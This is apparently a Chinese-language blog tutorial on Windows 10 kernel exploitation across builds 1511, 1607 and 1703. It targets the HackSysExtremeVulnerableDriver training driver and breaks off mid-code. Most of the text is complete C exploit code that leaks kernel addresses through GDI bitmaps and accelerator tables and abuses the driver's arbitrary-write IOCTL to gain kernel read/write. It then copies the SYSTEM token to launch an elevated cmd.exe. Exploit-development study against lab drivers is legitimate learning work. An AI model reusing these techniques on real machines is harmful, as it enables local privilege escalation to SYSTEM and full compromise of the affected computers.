gid利用1511干到1703
先来看 win10 1511
扯点别的 调试环境搭建要用vitualkd 3.0,之前的版本不行,装了之后开启f8禁用驱动即可启动调试器,启动调试器后设置符号 比如
如果没反应,关机设置虚拟机移除打印机选项 开机后输入 msconfig引导 设置串口和波特率分别为com1 和1152000即可
进入调试后搭个梯子 ! Analyze -v 一下 .reload /f 一下 自动下载符号 需要的符号差不多就够了 弄离线符号包太特么大了
gdi泄露内核地址
#include <stdio.h>
#include <Windows.h>
typedef struct _PEB {
UCHAR ignored[0xf8];
PVOID GdiSharedHandleTable;// +0x0f8 GdiSharedHandleTable : Ptr64 Void
} PEB, *PPEB;
typedef struct _GDICELL
{
PVOID pKernelAddress;
USHORT wProcessId;
USHORT wCount;
USHORT wUpper;
USHORT wType;
PVOID pUserAddress;
} GDICELL, *PGDICELL;
typedef struct _PROCESS_BASIC_INFORMATION {
NTSTATUS ExitStatus;
PVOID PebBaseAddress;
ULONG_PTR AffinityMask;
LONG BasePriority;
HANDLE UniqueProcessId;
HANDLE InheritedFromUniqueProcessId;
} PROCESS_BASIC_INFORMATION, *PPROCESS_BASIC_INFORMATION;
typedef enum _PROCESSINFOCLASS {
SystemProcessBasicInformation = 0
} PROCESSINFOCLASS;
typedef NTSTATUS(WINAPI *PNtQueryInformationProcess)(
_In_ HANDLE ProcessHandle,
_In_ PROCESSINFOCLASS ProcessInformationClass,
_Out_ PVOID ProcessInformation,
_In_ ULONG ProcessInformationLength,
_Out_opt_ PULONG ReturnLength
);
int main() {
HMODULE ntdll = GetModuleHandle(TEXT("ntdll"));
PNtQueryInformationProcess query = (PNtQueryInformationProcess)GetProcAddress(ntdll, "NtQueryInformationProcess");
if (query == NULL) {
printf("GetProcAddress() failed.\n");
return 1;
}
LoadLibraryA("gdi32.dll");
ULONG dwReturned = 0;
PROCESS_BASIC_INFORMATION processBasicInfo = { 0x0 };
//获取PEB基地址
NTSTATUS status = query(GetCurrentProcess(), SystemProcessBasicInformation, &processBasicInfo, sizeof(PROCESS_BASIC_INFORMATION), &dwReturned);
PPEB peb = (PPEB)HeapAlloc(GetProcessHeap(), 0, sizeof(PEB));
ReadProcessMemory(GetCurrentProcess(), processBasicInfo.PebBaseAddress, peb, sizeof(PEB), NULL);
DWORD count = 0x8fff; //That should do it...
PGDICELL gdiTable = (PGDICELL)HeapAlloc(GetProcessHeap(), 0, sizeof(GDICELL) * count);
ReadProcessMemory(GetCurrentProcess(), peb->GdiSharedHandleTable, gdiTable, sizeof(GDICELL) * count, NULL);
//GdiSharedHandleTable这个表存放着指向每个Bitmap对应的GDICELL64结构的指针
for (unsigned int i = 0; i < count; i++) {
GDICELL cell = gdiTable[i];
if (cell.pKernelAddress == (void *)0xCDCDCDCD) {
break;
}
if (cell.pKernelAddress == 0x00000000) {
continue;
}
HANDLE gdiHandle = (HANDLE)((cell.wUpper << 16) + i);
printf("Kernel address: 0x%llx, GDI Handle: 0x%llx, Process ID: %d\r\n", cell.pKernelAddress, gdiHandle, cell.wProcessId);
}
return 0;
}
打印部分结果
这个GDICELL玩意把内核地址偏移和句柄都泄露了
在r3下调用CreateBitmap可以创建一个GDICELL
一般的利用套路是利用漏洞改写GDICELL中的Address偏移为多少来着的的pvScan0指针指向另一个GDICELL的pvScan0达到任意读写,也就是要创建2个
玩下
*先取用户缓冲区开始八个字节的值到v2,先取用户缓冲区八个字节后八字节的的值到v3,然后*v3=v2
写个测试
#include <windows.h>
#include <stdio.h>
DWORD64 buf[0xf00]{};
HANDLE hDriver;
DWORD dwBytesOut = 0;
int main() {
hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hDriver == INVALID_HANDLE_VALUE) { printf("[!] Unable to get a handle on the device\n"); return(-1); }
if (hDriver == INVALID_HANDLE_VALUE) {
printf("[!] Unable to get a handle on the device\n");
getchar();
return(-1);
}
int a = 1;
int b = 2;
printf("a=%d,b=%d\n", a, b);
buf[0] = (DWORD64)&a;
buf[1] = (DWORD64)&b;
DeviceIoControl(hDriver, 0x22200b, buf, 0x10, 0, 0, &dwBytesOut, NULL);
printf("b=%d\n",b);
getchar();
return 0;
}
打印结果
b的值被修改了。。。
由于r3不能读取自己eprocess的地址,这时候就借助漏洞修改gdi结构体的指针
借助漏洞修改指针
#include <windows.h>
#include <stdio.h>
#include <Psapi.h>
#include <profileapi.h>
DWORD64 buf[0xf00]{};
HANDLE hDriver;
DWORD dwBytesOut = 0;
typedef struct _PEB {
UCHAR ignored[0xf8];
PVOID64 GdiSharedHandleTable;// +0x0f8 GdiSharedHandleTable : Ptr64 Void
} PEB, *PPEB;
typedef struct _PROCESS_BASIC_INFORMATION {
PVOID Reserved1;
PPEB PebBaseAddress; // 接收进程环境块地址
PVOID Reserved2[2];
ULONG_PTR UniqueProcessId;// 接收进程ID
PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;
typedef enum _PROCESSINFOCLASS {
SystemProcessBasicInformation = 0
} PROCESSINFOCLASS;
typedef NTSTATUS(WINAPI *PNtQueryInformationProcess)(
_In_ HANDLE ProcessHandle,
_In_ PROCESSINFOCLASS ProcessInformationClass,
_Out_ PVOID ProcessInformation,
_In_ ULONG ProcessInformationLength,
_Out_opt_ PULONG ReturnLength
);
typedef struct _GDICELL
{
PVOID pKernelAddress;
USHORT wProcessId;
USHORT wCount;
USHORT wUpper;
USHORT wType;
PVOID pUserAddress;
} GDICELL, *PGDICELL;
int main() {
//获取PEB基地址
HMODULE ntdll = GetModuleHandle(TEXT("ntdll"));
PNtQueryInformationProcess query = (PNtQueryInformationProcess)GetProcAddress(ntdll, "NtQueryInformationProcess");
if (query == NULL) {
printf("GetProcAddress() failed.\n");
return 1;
}
LoadLibraryA("gdi32.dll");
ULONG dwReturned = 0;
PROCESS_BASIC_INFORMATION processBasicInfo = { 0x0 };
NTSTATUS status = query(GetCurrentProcess(), SystemProcessBasicInformation, &processBasicInfo, sizeof(PROCESS_BASIC_INFORMATION), &dwReturned);
PPEB peb = (PPEB)HeapAlloc(GetProcessHeap(), 0, sizeof(PEB));
ReadProcessMemory(GetCurrentProcess(), processBasicInfo.PebBaseAddress, peb, sizeof(PEB), NULL);
printf("PEB=%llX\n", processBasicInfo.PebBaseAddress);
PVOID64 GdiSharedHandleTable = peb->GdiSharedHandleTable;
printf("GdiSharedHandleTable=%llX\n", GdiSharedHandleTable);
HBITMAP hManager = CreateBitmap(123,123, 1, 1, 0);
HBITMAP hWorker = CreateBitmap(123,123, 1, 1, 0);
GDICELL *cells;//GdiSharedHandleTable这个表存放着指向每个Bitmap对应的GDICELL64结构的指针
WORD index;
index = LOWORD(hManager);
cells = (GDICELL *)(peb->GdiSharedHandleTable);
PVOID64 pKernelAddress = cells[index].pKernelAddress;
buf[1] = ((ULONG64)pKernelAddress + 0x50);
printf("hManagerpvScan0=%llX\n", buf[1]);
index = LOWORD(hWorker);
pKernelAddress = cells[index].pKernelAddress;
ULONG64 temp = ((ULONG64)pKernelAddress + 0x50);
buf[0] = (ULONG64)&temp;
printf("hWorkerpvScan0=%llX\n", *(ULONG64*)*buf);
hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hDriver == INVALID_HANDLE_VALUE) { printf("[!] Unable to get a handle on the device\n"); return(-1); }
if (hDriver == INVALID_HANDLE_VALUE) {
printf("[!] Unable to get a handle on the device\n");
getchar();
return(-1);
}
//修改结构体指针
DeviceIoControl(hDriver, 0x22200b, buf, 0x10, 0, 0, &dwBytesOut, NULL);
getchar();
DebugBreak();
return 0;
}
回车后断下
现在修改了这个指针里面的值,就可以从任意地址写变成任意地址读写
后面就是提权了,大致手段是通过SetBitmapBits和GetBitmapBits利用该指针遍历进程链表寻找自己的eprocess地址,通过PsInitialSystemProcess获取指向sysytem eprocess的指针,SetBitmapBits和GetBitmapBits获取指针的值,然后遍进程读取token,最后利用SetBitmapBits写入token
修改代码
#include <windows.h>
#include <stdio.h>
#include <Psapi.h>
#include <profileapi.h>
DWORD64 buf[0xf00]{};
HANDLE hDriver;
DWORD dwBytesOut = 0;
typedef struct _PEB {
UCHAR ignored[0xf8];
PVOID64 GdiSharedHandleTable;// +0x0f8 GdiSharedHandleTable : Ptr64 Void
} PEB, *PPEB;
typedef struct _PROCESS_BASIC_INFORMATION {
PVOID Reserved1;
PPEB PebBaseAddress; // 接收进程环境块地址
PVOID Reserved2[2];
ULONG_PTR UniqueProcessId;// 接收进程ID
PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;
typedef enum _PROCESSINFOCLASS {
SystemProcessBasicInformation = 0
} PROCESSINFOCLASS;
typedef NTSTATUS(WINAPI *PNtQueryInformationProcess)(
_In_ HANDLE ProcessHandle,
_In_ PROCESSINFOCLASS ProcessInformationClass,
_Out_ PVOID ProcessInformation,
_In_ ULONG ProcessInformationLength,
_Out_opt_ PULONG ReturnLength
);
typedef struct _GDICELL
{
PVOID pKernelAddress;
USHORT wProcessId;
USHORT wCount;
USHORT wUpper;
USHORT wType;
PVOID pUserAddress;
} GDICELL, *PGDICELL;
LONG ReadMemory(HBITMAP hManager, HBITMAP hWorker, PVOID src, PVOID dest, DWORD len) {
if (SetBitmapBits(hManager, sizeof(PVOID), &src) == 0) {
printf("[-] Unable To Set Source Address: 0x%p\n", src);
return FALSE;
}
return GetBitmapBits(hWorker, len, dest) ? TRUE : FALSE;
}
LONG WriteMemory(HBITMAP hManager, HBITMAP hWorker, PVOID src, PVOID dest, DWORD len) {
if (SetBitmapBits(hManager, len,&src) == 0) {
printf("[-] Unable To Set Source Address: 0x%p\n", src);
return FALSE;
}
return SetBitmapBits(hWorker, len, &dest) ? TRUE : FALSE;
}
int main() {
//获取PEB基地址
HMODULE ntdll = GetModuleHandle(TEXT("ntdll"));
PNtQueryInformationProcess query = (PNtQueryInformationProcess)GetProcAddress(ntdll, "NtQueryInformationProcess");
if (query == NULL) {
printf("GetProcAddress() failed.\n");
return 1;
}
LoadLibraryA("gdi32.dll");
ULONG dwReturned = 0;
PROCESS_BASIC_INFORMATION processBasicInfo = { 0x0 };
NTSTATUS status = query(GetCurrentProcess(), SystemProcessBasicInformation, &processBasicInfo, sizeof(PROCESS_BASIC_INFORMATION), &dwReturned);
PPEB peb = (PPEB)HeapAlloc(GetProcessHeap(), 0, sizeof(PEB));
ReadProcessMemory(GetCurrentProcess(), processBasicInfo.PebBaseAddress, peb, sizeof(PEB), NULL);
printf("PEB=%llX\n", processBasicInfo.PebBaseAddress);
PVOID64 GdiSharedHandleTable = peb->GdiSharedHandleTable;
printf("GdiSharedHandleTable=%llX\n", GdiSharedHandleTable);
HBITMAP hManager = CreateBitmap(123,123, 1, 1, 0);
HBITMAP hWorker = CreateBitmap(123,123, 1, 1, 0);
GDICELL *cells;//GdiSharedHandleTable这个表存放着指向每个Bitmap对应的GDICELL64结构的指针
WORD index;
index = LOWORD(hManager);
cells = (GDICELL *)(peb->GdiSharedHandleTable);
PVOID64 pKernelAddress = cells[index].pKernelAddress;
buf[1] = ((ULONG64)pKernelAddress + 0x50);
printf("hManagerpvScan0=%llX\n", buf[1]);
index = LOWORD(hWorker);
pKernelAddress = cells[index].pKernelAddress;
ULONG64 temp = ((ULONG64)pKernelAddress + 0x50);
buf[0] = (ULONG64)&temp;
printf("hWorkerpvScan0=%llX\n", *(ULONG64*)*buf);
hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hDriver == INVALID_HANDLE_VALUE) { printf("[!] Unable to get a handle on the device\n"); return(-1); }
if (hDriver == INVALID_HANDLE_VALUE) {
printf("[!] Unable to get a handle on the device\n");
getchar();
return(-1);
}
//修改结构体指针
DeviceIoControl(hDriver, 0x22200b, buf, 0x10, 0, 0, &dwBytesOut, NULL);
LPVOID lpImageBase[1024];
DWORD lpcbNeeded;
TCHAR lpfileName[1024];
PVOID64 UserBase;
HMODULE nbase;
ULONG64 address;
ULONG64 PsInitialSystemProcess;
//遍历模块
EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);
//获取第一个模块地址
GetDeviceDriverBaseName(lpImageBase[0], lpfileName, 48);
UserBase = lpImageBase[0];
nbase = LoadLibrary(L"ntoskrnl.exe");
printf("UserBase=%llX\n", UserBase);
address = (ULONG64)GetProcAddress(nbase, "PsInitialSystemProcess");
//PsInitialSystemProcess 是一个指向system EPROCESS的指针
PsInitialSystemProcess = ((ULONG64)address - (ULONG64)nbase + (ULONG64)UserBase);
printf("PsInitialSystemProcess=%llX\n", PsInitialSystemProcess);
LIST_ENTRY ActiveProcessLinks{};
DWORD64 currentProcess;//当前进程eporcess
ULONG64 UniqueProcessId;
ULONG64 SystemProcess{};
ReadMemory(hManager, hWorker, (PVOID)PsInitialSystemProcess,
&SystemProcess, sizeof(LPVOID));
printf("SystemEProcess=%llX\n", SystemProcess);
DWORD PID;
//+0x2f0 ActiveProcessLinks : _LIST_ENTRY
ReadMemory(hManager, hWorker, (PVOID)(SystemProcess + 0x2f0), &ActiveProcessLinks, sizeof(LIST_ENTRY));
do
{
currentProcess = (DWORD64)((PUCHAR)ActiveProcessLinks.Flink - 0x2f0);
ReadMemory(hManager, hWorker, (PVOID)(currentProcess + 0x2e8), &UniqueProcessId, sizeof(LPVOID));
PID = UniqueProcessId;
ReadMemory(hManager, hWorker, (PVOID)(currentProcess + 0x2f0), &ActiveProcessLinks, sizeof(LIST_ENTRY));
} while (PID != GetCurrentProcessId());
ULONG64 systemtoken{};
//+0x358 Token : _EX_FAST_REF
printf("eProcessToken=%llX\n", currentProcess+ 0x358);
ReadMemory(hManager, hWorker, (PVOID)(SystemProcess + 0x358),
&systemtoken, sizeof(LPVOID));
printf("systemtoken=%llX\n", systemtoken);
WriteMemory(hManager, hWorker, (PVOID)(currentProcess + 0x358),
(PVOID)systemtoken, sizeof(LPVOID));
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)& si, &pi);
getchar();
return 0;
}
再来看 1607
1607下 GdiSharedHandleTable 表中 GDI 对象的内核地址被移除了。那么无法通过这种方法定位对象地址
而另一种泄露地址的大致手段是通过 CreateAcceleratorTableA和DestroyAcceleratorTable创建和撤销建表来确定下次分配的内存回落到刚刚释放的那块内存,如果是这样那么会创建相同大小的gdi对象进行占坑,虽然利用CreateAcceleratorTableA泄露内核地址不是gdi对象,但占坑之后泄露的就是gdi对象的地址
测试代码如下
#include <windows.h>
#include <stdio.h>
#include <Psapi.h>
#include <profileapi.h>
DWORD64 num{};
typedef struct _USER_HANDLE_ENTRY {
void* pKernel;
union
{
PVOID pi;
PVOID pti;
PVOID ppi;
};
BYTE type;
BYTE flags;
WORD generation;
} USER_HANDLE_ENTRY, * PUSER_HANDLE_ENTRY;
typedef struct _SERVERINFO {
DWORD dwSRVIFlags;
DWORD cHandleEntries;
WORD wSRVIFlags;
WORD wRIPPID;
WORD wRIPError;
} SERVERINFO, * PSERVERINFO;
typedef struct _SHAREDINFO {
PSERVERINFO psi;
PUSER_HANDLE_ENTRY aheList;
ULONG HeEntrySize;
ULONG_PTR pDispInfo;
ULONG_PTR ulSharedDelts;
ULONG_PTR awmControl;
ULONG_PTR DefWindowMsgs;
ULONG_PTR DefWindowSpecMsgs;
} SHAREDINFO, * PSHAREDINFO;
HBITMAP Getaddr()
{
LPACCEL lpAccel = (LPACCEL)LocalAlloc(LPTR, sizeof(ACCEL) * 700);
SHAREDINFO* gSharedInfo = (SHAREDINFO*)GetProcAddress(GetModuleHandleA("user32.dll"), "gSharedInfo");
while (true)
{
HACCEL atHandle = CreateAcceleratorTableA(lpAccel, 700);
USER_HANDLE_ENTRY* gHandleTable = gSharedInfo->aheList;
DWORD index = LOWORD(atHandle);
PUSER_HANDLE_ENTRY pKerneladdr = &gHandleTable[index];
PVOID addr = pKerneladdr->pKernel;
DestroyAcceleratorTable(atHandle);
atHandle = CreateAcceleratorTableA(lpAccel, 700);
index = LOWORD(atHandle);
pKerneladdr = &gHandleTable[index];
PVOID addrb = pKerneladdr->pKernel;
if (addrb == addr)
{
if(!num)
printf("hManager KernelAddress at %llX\n", addr);
else
printf("hWorker KernelAddress at %llX\n", addr);
num++;
DestroyAcceleratorTable(atHandle);
return CreateBitmap(0x701, 2, 1, 8, 0);
}
}
}
int main()
{
HBITMAP hManager = Getaddr();
printf("hManager handle at %llX\n", hManager);
HBITMAP hWorker = Getaddr();
printf("hWorker handle at %llX\n", hWorker);
getchar();
DebugBreak();
return 0;
}
结果如下
有了基地址地址代表又可以利用漏洞修改偏移为0x50的指针
利用代码如下
#include <windows.h>
#include <stdio.h>
#include <Psapi.h>
#include <profileapi.h>
DWORD64 num{};
typedef struct _USER_HANDLE_ENTRY {
void* pKernel;
union
{
PVOID pi;
PVOID pti;
PVOID ppi;
};
BYTE type;
BYTE flags;
WORD generation;
} USER_HANDLE_ENTRY, * PUSER_HANDLE_ENTRY;
typedef struct _SERVERINFO {
DWORD dwSRVIFlags;
DWORD cHandleEntries;
WORD wSRVIFlags;
WORD wRIPPID;
WORD wRIPError;
} SERVERINFO, * PSERVERINFO;
PVOID hManageraddr{};
PVOID addra{};
typedef struct _SHAREDINFO {
PSERVERINFO psi;
PUSER_HANDLE_ENTRY aheList;
ULONG HeEntrySize;
ULONG_PTR pDispInfo;
ULONG_PTR ulSharedDelts;
ULONG_PTR awmControl;
ULONG_PTR DefWindowMsgs;
ULONG_PTR DefWindowSpecMsgs;
} SHAREDINFO, * PSHAREDINFO;
LONG ReadMemory(HBITMAP hManager, HBITMAP hWorker, PVOID src, PVOID dest, DWORD len) {
if (SetBitmapBits(hManager, sizeof(PVOID), &src) == 0) {
printf("[-] Unable To Set Source Address: 0x%p\n", src);
return FALSE;
}
return GetBitmapBits(hWorker, len, dest) ? TRUE : FALSE;
}
LONG WriteMemory(HBITMAP hManager, HBITMAP hWorker, PVOID src, PVOID dest, DWORD len) {
if (SetBitmapBits(hManager, len, &src) == 0) {
printf("[-] Unable To Set Source Address: 0x%p\n", src);
return FALSE;
}
return SetBitmapBits(hWorker, len, &dest) ? TRUE : FALSE;
}
HBITMAP Getaddr()
{
LPACCEL lpAccel = (LPACCEL)LocalAlloc(LPTR, sizeof(ACCEL) * 700);
SHAREDINFO* gSharedInfo = (SHAREDINFO*)GetProcAddress(GetModuleHandleA("user32.dll"), "gSharedInfo");
while (true)
{
HACCEL atHandle = CreateAcceleratorTableA(lpAccel, 700);
USER_HANDLE_ENTRY* gHandleTable = gSharedInfo->aheList;
DWORD index = LOWORD(atHandle);
PUSER_HANDLE_ENTRY pKerneladdr = &gHandleTable[index];
addra = pKerneladdr->pKernel;
DestroyAcceleratorTable(atHandle);
atHandle = CreateAcceleratorTableA(lpAccel, 700);
index = LOWORD(atHandle);
pKerneladdr = &gHandleTable[index];
PVOID addrb = pKerneladdr->pKernel;
if (addrb == addra)
{
if (!num)
{
hManageraddr = addra;
printf("hManager KernelAddress at %llX\n", addra);
}
else {
printf("hWorker KernelAddress at %llX\n", addra);
}
num++;
DestroyAcceleratorTable(atHandle);
return CreateBitmap(0x701, 2, 1, 8, 0);
}
}
}
int main()
{
HBITMAP hManager = Getaddr();
printf("hManager handle at %llX\n", hManager);
HBITMAP hWorker = Getaddr();
printf("hWorker handle at %llX\n", hWorker);
HANDLE hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hDriver == INVALID_HANDLE_VALUE) { printf("[!] Unable to get a handle on the device\n"); return(-1); }
if (hDriver == INVALID_HANDLE_VALUE) {
printf("[!] Unable to get a handle on the device\n");
getchar();
return(-1);
}
LPDWORD dwBytesOut{};
DWORD64 buf[2];
buf[1] = ((ULONG64)hManageraddr + 0x50);
DWORD64 temp= ((ULONG64)addra + 0x50);
buf[0] = (DWORD64)&temp;
//修改结构体指针
DeviceIoControl(hDriver, 0x22200b, buf, 0x10, 0, 0, dwBytesOut, NULL);
LPVOID lpImageBase[1024];
DWORD lpcbNeeded;
TCHAR lpfileName[1024];
PVOID64 UserBase;
HMODULE nbase;
ULONG64 address;
ULONG64 PsInitialSystemProcess;
//遍历模块
EnumDeviceDrivers(lpImageBase, sizeof(lpImageBase), &lpcbNeeded);
//获取第一个模块地址
GetDeviceDriverBaseName(lpImageBase[0], lpfileName, 48);
UserBase = lpImageBase[0];
nbase = LoadLibrary(L"ntoskrnl.exe");
printf("UserBase=%llX\n", UserBase);
address = (ULONG64)GetProcAddress(nbase, "PsInitialSystemProcess");
//PsInitialSystemProcess 是一个指向system EPROCESS的指针
PsInitialSystemProcess = ((ULONG64)address - (ULONG64)nbase + (ULONG64)UserBase);
printf("PsInitialSystemProcess=%llX\n", PsInitialSystemProcess);
LIST_ENTRY ActiveProcessLinks{};
DWORD64 currentProcess;//当前进程eporcess
ULONG64 UniqueProcessId;
ULONG64 SystemProcess{};
ReadMemory(hManager, hWorker, (PVOID)PsInitialSystemProcess,
&SystemProcess, sizeof(LPVOID));
printf("SystemEProcess=%llX\n", SystemProcess);
DWORD dwCurrentPID;
//+0x2f0 ActiveProcessLinks : _LIST_ENTRY
ReadMemory(hManager, hWorker, (PVOID)(SystemProcess + 0x2f0), &ActiveProcessLinks, sizeof(LIST_ENTRY));
do
{
currentProcess = (DWORD64)((PUCHAR)ActiveProcessLinks.Flink - 0x2f0);
ReadMemory(hManager, hWorker, (PVOID)(currentProcess + 0x2e8), &UniqueProcessId, sizeof(LPVOID));
dwCurrentPID = LOWORD(UniqueProcessId);
ReadMemory(hManager, hWorker, (PVOID)(currentProcess + 0x2f0), &ActiveProcessLinks, sizeof(LIST_ENTRY));
} while (dwCurrentPID != GetCurrentProcessId());
ULONG64 systemtoken{};
//+0x358 Token : _EX_FAST_REF
printf("eProcessToken=%llX\n", currentProcess + 0x358);
ReadMemory(hManager, hWorker, (PVOID)(SystemProcess + 0x358),
&systemtoken, sizeof(LPVOID));
printf("systemtoken=%llX\n", systemtoken);
WriteMemory(hManager, hWorker, (PVOID)(currentProcess + 0x358),
(PVOID)systemtoken, sizeof(LPVOID));
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
getchar();
return 0;
}
再来看 1703
之前的两种方法都不行了
还有一种方法是如果用CreateBitmap创建几个大小连续为0x1000的的,那么它们将会被分配在大页中,而大页的可以通过teb结构体偏移0x078的成员Win32ThreadInfo通过去除低7位得到,由这个基地址加上0x16300000会泄露创建的第二个对象的地址
测试代码
#include <windows.h>
#include <stdio.h>
#include <Psapi.h>
#include <profileapi.h>
int main()
{
DWORD64 size = 0x10000000 - 0x260;
BYTE *pBits=new BYTE[size];
memset(pBits,0x41,size);
HBITMAP *hbitmap = new HBITMAP[10];
for (size_t i = 0; i < 4; i++)
hbitmap[i] = CreateBitmap(0x3FFFF64, 1, 1, 32, pBits);
DWORD64 teb = (DWORD64)NtCurrentTeb();
//+0x078 Win32ThreadInfo : 0xffff9fd4`806fbb10 Void
DWORD64 pointer = *(PDWORD64)(teb + 0x78);
DWORD64 ThreadInfoaddr = pointer & 0xFFFFFFFFF0000000;
ThreadInfoaddr += 0x16300000;
printf("ThreadInfoaddr=%llX\n", ThreadInfoaddr);
getchar();
DebugBreak();
return 0;
}
回车断下查看打印结果
泄露了位图地址
如果将此对象释放,再大量创建相同大小的对象进行占坑,查看刚刚得到地址得到的结果会是其中一个对象地址
测试代码
#include <windows.h>
#include <stdio.h>
#include <Psapi.h>
#include <profileapi.h>
int main()
{
DWORD64 size = 0x10000000 - 0x260;
BYTE *pBits=new BYTE[size];
memset(pBits,0x41,size);
HBITMAP *hbitmap = new HBITMAP[10];
for (size_t i = 0; i < 4; i++)
hbitmap[i] = CreateBitmap(0x3FFFF64, 1, 1, 32, pBits);
DWORD64 teb = (DWORD64)NtCurrentTeb();
//+0x078 Win32ThreadInfo : 0xffff9fd4`806fbb10 Void
DWORD64 pointer = *(PDWORD64)(teb + 0x78);
DWORD64 ThreadInfoaddr = pointer & 0xFFFFFFFFF0000000;
ThreadInfoaddr += 0x16300000;
printf("ThreadInfoaddr=%llX\n", ThreadInfoaddr);
DeleteObject(hbitmap[1]);
HBITMAP *bitmap = new HBITMAP[100000];
for (size_t i = 0; i < 100000; i++)
bitmap[i] = CreateBitmap(0x364, 1, 1, 32, pBits);
getchar();
DebugBreak();
return 0;
}
回车调试器断下后查看结果
该对象地址泄露了,在内存中又是连续的并且大小是知道的0x1000,所以也能查看所需要两个对象中两个指针的位置
知道了地址,这就可以通过漏洞修改这两个指针了
测试代码
#include <windows.h>
#include <stdio.h>
#include <Psapi.h>
#include <profileapi.h>
int main()
{
DWORD64 size = 0x10000000 - 0x260;
BYTE *pBits=new BYTE[size];
memset(pBits,0x41,size);
HBITMAP *hbitmap = new HBITMAP[10];
for (size_t i = 0; i < 4; i++)
hbitmap[i] = CreateBitmap(0x3FFFF64, 1, 1, 32, pBits);
DWORD64 teb = (DWORD64)NtCurrentTeb();
//+0x078 Win32ThreadInfo : 0xffff9fd4`806fbb10 Void
DWORD64 pointer = *(PDWORD64)(teb + 0x78);\
DWORD64 ThreadInfoaddr = pointer & 0xFFFFFFFFF0000000;
ThreadInfoaddr += 0x16300000;
printf("ThreadInfoaddr=%llX\n", ThreadInfoaddr);
DeleteObject(hbitmap[1]);
HBITMAP *bitmap = new HBITMAP[100000];
for (size_t i = 0; i < 100000; i++)
bitmap[i] = CreateBitmap(0x364, 1, 1, 32, pBits);
DWORD64 buf[2];
buf[1] = ((ULONG64)ThreadInfoaddr + 0x50);
printf("hManagerpvScan0=%llX\n", buf[1]);
ULONG64 temp = ((ULONG64)ThreadInfoaddr + 0x50-0x1000);
buf[0] = (ULONG64)&temp;
printf("hWorkerpvScan0=%llX\n", *(ULONG64*)*buf);
LPDWORD dwBytesOut{};
HANDLE hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hDriver == INVALID_HANDLE_VALUE) { printf("[!] Unable to get a handle on the device\n"); return(-1); }
if (hDriver == INVALID_HANDLE_VALUE) {
printf("[!] Unable to get a handle on the device\n");
getchar();
return(-1);
}
//修改结构体指针
DeviceIoControl(hDriver, 0x22200b, buf, 0x10, 0, 0, dwBytesOut, NULL);
getchar();
DebugBreak();
return 0;
}
这玩意又被修改了,剩下的就是获取这两个对象的句柄然后提权了
在获取对象句柄的时候 我想到一个我觉得还不错的注意,因为对象句柄最多不超过10000个,而且又是连续的,只要定义两个变量,遍历传输对象进行写的操作,如果变量被修改成功了,那么就定位到了被修改指针的两个对象句柄
代码如下
#include <windows.h>
#include <stdio.h>
#include <Psapi.h>
#include <profileapi.h>
LONG ReadMemory(HBITMAP hManager, HBITMAP hWorker, PVOID src, PVOID dest, DWORD len) {
if (SetBitmapBits(hManager, sizeof(PVOID), &src) == 0) {
printf("[-] Unable To Set Source Address: 0x%p\n", src);
return FALSE;
}
return GetBitmapBits(hWorker, len, dest) ? TRUE : FALSE;
}
LONG WriteMemory(HBITMAP hManager, HBITMAP hWorker, PVOID src, PVOID dest, DWORD len) {
if (SetBitmapBits(hManager, len, &src) == 0) {
//printf("[-] Unable To Set Source Address: 0x%p\n", src);
return FALSE;
}
return SetBitmapBits(hWorker, len, &dest) ? TRUE : FALSE;
}
int main()
{
DWORD64 size = 0x10000000 - 0x260;
BYTE *pBits=new BYTE[size];
memset(pBits,0x41,size);
HBITMAP *hbitmap = new HBITMAP[10];
for (size_t i = 0; i < 4; i++)
{
hbitmap[i] = CreateBitmap(0x3FFFF64, 1, 1, 32, pBits);
}
DWORD64 teb = (DWORD64)NtCurrentTeb();
//+0x078 Win32ThreadInfo : 0xffff9fd4`806fbb10 Void
DWORD64 pointer = *(PDWORD64)(teb + 0x78);
DWORD64 ThreadInfoaddr = pointer & 0xFFFFFFFFF0000000;
ThreadInfoaddr += 0x16300000;
printf("ThreadInfoaddr=%llX\n", ThreadInfoaddr);
DWORD64 num;
DeleteObject(hbitmap[1]);
HBITMAP *bitmap = new HBITMAP[10000];
for (size_t i = 0; i < 10000; i++) {
//1067下为0x368
bitmap[i] = CreateBitmap(0x364, 1, 1, 32, pBits);
if (bitmap[i]==0)
{
num = i;
break;
}
}
HANDLE hDriver = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hDriver == INVALID_HANDLE_VALUE) { printf("[!] Unable to get a handle on the device\n"); return(-1); }
if (hDriver == INVALID_HANDLE_VALUE) {
printf("[!] Unable to get a handle on the device\n");
getchar();
return(-1);
}
DWORD64 buf[2];
buf[1] = ((ULONG64)ThreadInfoaddr + 0x50);
printf("hManagerpvScan0=%llX\n", buf[1]);
ULONG64 temp = ((ULONG64)ThreadInfoaddr + 0x50 + 0x1000);
